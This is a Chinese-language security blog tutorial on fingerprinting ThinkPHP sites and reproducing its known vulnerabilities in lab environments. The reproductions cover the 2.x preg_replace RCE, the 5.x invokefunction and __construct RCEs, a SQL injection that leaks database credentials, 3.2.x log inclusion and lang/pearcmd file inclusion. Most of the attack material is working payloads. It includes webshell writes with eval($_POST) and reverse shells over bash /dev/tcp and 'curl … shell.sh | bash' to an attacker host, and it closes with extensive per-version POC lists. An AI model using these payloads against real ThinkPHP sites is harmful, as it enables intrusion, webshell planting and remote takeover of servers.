0


从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具

上一篇spring反响不错,今天更新thinkphp全漏洞

spring

麋鹿,公众号:麋鹿安全从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具

还是按照之前的文章结构

文章目录
框架介绍何为thinkphp,在哪会遇到thinkphp识别spring如何在实战中快速分辨thinkphp框架漏洞列表thinkphp漏洞全版本漏洞环境搭建vulhub+vulfocus(见上一篇spring)漏洞复现1.如何识别当前站点是否存在漏洞2.哪些版本(情况)存在该漏洞3.漏洞指纹特征⭐4.如何复现5.如何实现自动化工具1.指纹识别工具
2.综合利用工具

零-thinkphp的前世今生

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

  ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。

  作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注业务逻辑。

**总结一下:**国人开发的框架,上手简单,开发成本低,搭建容易

所以,tp框架常见于一些违法网站上面

tp版本信息

图片

文档中心 · ThinkPHP 这是tp的官方文档,包含了框架一些基本知识,一些必要的知识我会在复现过程中一一讲解,不过还是建议自己去看一下文档

一-识别tp框架(指纹)

1.1 ioc判断

/favicon.ico

图片

1.2报错

图片

图片

1.3错误传参

图片

图片

1.4特殊指纹出现logo

/?c=4e5e5d7364f443e28fbf0d3ae744a59a

图片

/4e5e5d7364f443e28fbf0d3ae744a59a

图片

p3.1和3.2版本

4e5e5d7364f443e28fbf0d3ae744a59a-index.html

1.5 body特征

body里有"十年磨一剑" 或者"ThinkPHP"

1.6插件

图片

二-漏洞列表

ThinkPHP 2.x 任意代码执行漏洞

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞(5-rce)

ThinkPHP5 SQL注入漏洞 & 敏感信息泄露

ThinkPHP 5.0.23 远程代码执行漏洞

ThinkPHP3.2.x RCEthinkphp lang 命令执行

ThinkPHP 2.x 任意代码执行漏洞

1 漏洞原理

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

什么是preg_replace 函数

这个函数是个替换函数,而且支持正则,使用方式如下:

preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了

/e

这个修饰符,则存在代码执行漏洞。

下面是搜索到的关于

/e

的解释:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
任何使用  举例
<?php
@preg_replace('/test/e','print_r("AAA");','just test');

只要在“just test”中匹配到了“test”字符,就执行中间的print_r这条函数的命令。

2 影响版本

2.x

3.0

3.复现

触发条件是php<=5.6.29

图片

访问/index.php?s=/index/index/name/$%7B@phpinfo()%7D

图片

之间改成$%7Bsystem(whoami)%7D

图片

一句话

${ @print(eval($_POST[1]))}

反弹shell

先在攻击机写一个sh文件,里面放

bash -i >& /dev/tcp/192.168.233.131/7777 0>&1

图片

攻击机开启web服务

python -m SimpleHTTPServer 80

图片

然后用马子去执行这个sh文件的命令

1=system("curl http://192.168.233.131/shell.sh | bash");

图片

亦或者直接马子执行反弹shell命令

1=system%28%22bash+-c+'bash+-i+>%26+%2Fdev%2Ftcp%2F192.168.233.131%2F8888+0>%261'%22%29%3B

图片

ok结束,docker-compose down下一关

对了,这里我想和小白说几句话,漏洞复现确实是一个很枯燥的过程,但是只有复现完理解完才能有可能掌握这些漏洞,才能有可能在实战中认出这个洞,必不可少的一个过程,麋鹿希望读者能静下心来,去按照我们的文章一个一个复现一边,最后自己也写一个过程当作笔记,收集一个指纹表做为自己的参考.正如麋鹿主页说所,不管是对于高考这些应试考试,还是学习技术,学习本就是一场修行,就是用来炼心的,用来克服懒惰和心猿意马的.

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞(5-rce)

1 漏洞原理

由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。

**2 影响版本 **

5.0.22/5.1.29

3 复现

触发地址是

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=+url编码后的马子

对 <?php phpinfo(); eval(@$_POST['cmd']); ?>进行编码然后拼接

http://192.168.233.131:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=milu.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval(%40%24_POST[%27cmd%27])%3B%20%3F%3E

图片

访问milu.php

图片

后面反弹shell这些和前面一样

图片

ThinkPHP5 SQL注入漏洞 & 敏感信息泄露

1 漏洞原理

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

这里具体讲一下漏洞产生的过程吧

漏洞附近代码如下


<?php
namespace app\index\controller;

use app\index\model\User;

class Index
{
    public function index()
{
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
    }
}

这里如果in可控的话,通过用户传入,那么就会造成注入,让我们来分析一下in的操作代码:

<?php...$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {    // 处理带非单词字符的字段名    $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {    // IN 查询    if ($value instanceof \Closure) {        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);    } else {        $value = is_array($value) ? $value : explode(',', $value);        if (array_key_exists($field, $binds)) {            $bind  = [];            $array = [];            foreach ($value as $k => $v) {                if ($this->query->isBind($bindName . '_in_' . $k)) {                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;                } else {                    $bindKey = $bindName . '_in_' . $k;                }                $bind[$bindKey] = [$v, $bindType];                $array[]        = ':' . $bindKey;            }            $this->query->bind($bind);            $zone = implode(',', $array);        } else {            $zone = implode(',', $this->parseValue($value, $field));        }        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';    }

代码先对$bindName 先进行了一次检测,防止了一些注入情况,但是我们看到$value是一个数组的情况下,会遍历$value,并将$k拼接进$bingName。

介绍一下PDO预编译的过程

  1. prepare($SQL) 编译SQL语句

  2. bindValue($param, $value) 将value绑定到param的位置上

  3. execute() 执行

这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的,返回执行的恶意语句结果

图片

2 影响版本

ThinkPHP < 5.1.23

3 复现

这里环境要用到80端口,记得关了之前的web环境(反弹shell时)

图片

访问/index.php?ids[]=1&ids[]=2

图片

/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

图片

ThinkPHP 5.0.23 远程代码执行漏洞

1 漏洞原理

其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

2 版本

ThinkPHP 5.0.x < 5.0.23 ThinkPHP 5.1.x < 5.1.31

3 复现

t&server[REQUEST_METHOD]=whoami

图片

写shell

先pwd一下

图片

ok知道了,就写/var/www/public/这里

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo <?php @eval($_POST['milu']); ?>  >>/var/www/public/milu.php

图片

如果写入失败,base64一下

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echoIDw/cGhwIEBldmFsKCRfUE9TVFsnbWlsdSddKTsgPz4= >>/var/www/public/hushell.php

蚁🗡连接就行了,密码是milu

反弹shell

开启web

图片

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl http://192.168.233.131/shell.sh | bash

图片

图片

图片

上面有个5rce,现在是5.0.23,可能有读者不懂了,麋鹿来解释一下

tp 5版本rce有两个版本

ThinkPHP 5.0-5.0.24和ThinkPHP 5.1.0-5.1.30

漏洞触发点和版本的不同,所以payload也不一样,条件也不一样
版本名是否可被攻击
攻击条件
5.0.0否无5.0.1否无5.0.2否无5.0.3否无5.0.4否无5.0.5否无5.0.6否无5.0.7否无5.0.8是无需开启debug5.0.9是无需开启debug5.0.10是无需开启debug5.0.11是无需开启debug5.0.12是无需开启debug5.0.13是需开启debug5.0.14是需开启debug5.0.15是需开启debug5.0.16是需开启debug5.0.17是需开启debug5.0.18是需开启debug5.0.19是需开启debug5.0.20否无5.0.21是需开启debug5.0.22是需开启debug5.0.23是需开启debug
5.0.13~5.0.19默认情况下config中的app_debug配置项为false,复现的时候需要开启这个

总结一下

5.1.x :

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php     # 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

5.0.13

http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

ThinkPHP3.2.x RCE

1.漏洞介绍

ThinkPHP3.2远程代码执行漏洞,该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。

2.版本

3.2.x

3.复现

先创建一个日志,并写入phpinfo

index.php?m=--><?=phpinfo();?>

图片

然后去包含这个文件,文件名就是今天的日期

index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_10_19.log

图片

不同版本日志位置不一样,看我总结

THINKPHP3.2 结构:Application\Runtime\Logs\Home\日期.logTHINKPHP3.1结构:Runtime\Logs\Home\日期.log日志存储结构是 :项目名\Runtime\Logs\Home\年份_月份_日期.log

thinkphp lang 命令执行

1 漏洞原理

在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。

虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件

访问路径诶:/public/index.php

2 影响版本

6.0.1 < ThinkPHP≤ 6.0.13

5.0.0 < ThinkPHP≤ 5.0.12

5.1.0 < ThinkPHP≤ 5.1.8

3 前置知识

1.HTML之lang属性:在Html全局属性列表中,对lang属性的描述为(Defines the language used in the element - 定义元素中使用的语言),顾名思义,lang属性的作用就是用来定义元素中使用的语言。

2.PEAR:PEAR也就是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库。

3.Pearcmd:pearcmd.php是pear工具调用的功能文件,pear是管理php的扩展管理工具, 可以理解为php的命令行工具。

4.config-create:创建文件,该方法需接收两个参数,第一个参数是写入文件的内容,第二个参数是写入文件的路径

4 复现

访问public/index.php可以看到明显的tp特征

图片

get访问

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['milu']);?>+/var/www/html/milu.php

解释一下payload

就是利用目录遍历到pearcmd,然后通过 pearcmd 文件包含这个trick去执行创建/var/www/html/milu.php文件并写入一句话木马,密码为milu

然后访问milu.php就行了

一些指纹工具和网站

TideFinger 潮汐指纹 TideFinger 潮汐指纹 (tidesec.com)

https://github.com/anx0ing/thinkphp_scan

https://github.com/sukabuliet/ThinkphpRCE

https://github.com/bewhale/thinkphp_gui_tools

https://github.com/Lotus6/ThinkphpGUI(无2版本检测功能)

最后总结个各版本的poc

2.x

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

3.2.3

index.php?m=--><?=phpinfo();?>index.php?m=Home&c=Index&a=index&value[_filename]=.\Application\Runtime\Logs\Common\日期.log

5.0.x

?s=index/think\config/get&name=database.username // 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoamicall_user_func 不大行..?s=index/\think\app/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami?s=index/\think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami?s=index/\think\View/display&content=phpinfo();?>?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=2s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=...

5.0.7

aa=file_put_contents('test.php'%2C'%3C%3Fphp+phpinfo()%3B')&_method=__construct&method=POST&filter[]=assert

5.0 - 5.0.22

index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

5.0.23

 ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captchaPOST /?s=xxx HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al_method=__construct&filter[]=system&method=get&.=ls

5.1.x

?s=index/\think\Request/input&filter[]=system&data=pwd ?s=index/\think\view\driver\Php/display&content= s=index/\think\template\driver\file/write&cacheFile=shell.php&content= s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami?s=index/\think\request/input?data[]=-1&filter=phpinfo?s=index/think\app/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami?s=index|think\app/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1?s=index/think\request/input?data[]=-1&filter=phpinfo?s=index/think\app/invokefunction&function=call_user_func&vars[0]=md5&vars[1]=123456?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1?s=index/\think\View/display&content=?s=index/think\View/display&content=?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami s=index/\think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami?s=index/\think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=powershell%20lschdir

希望各位读者看完我们的文章以后自己去实践一下,只有学到脑子里的东西才是自己的,如果遇到困难,可以加本人微信(i_still_be_milu)与麋鹿师傅一起探讨,炼心之路,就在脚下,我们一起成长。

同时欢迎各位同仁关注麋鹿安全,我们的文章会第一时间发布在公众号平台,如果不想错过我们新鲜出炉的好文,那就请扫码关注我们的公众号!(附上本人微信,欢迎各位同仁加我微信,和我探讨安全,同时欢迎同仁们的不吝指正)

img

图片


本文转载自: https://blog.csdn.net/milu_Sec/article/details/135307628
版权归原作者 麋鹿安全 所有, 如有侵权,请联系我们删除。

“从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具”的评论:

还没有评论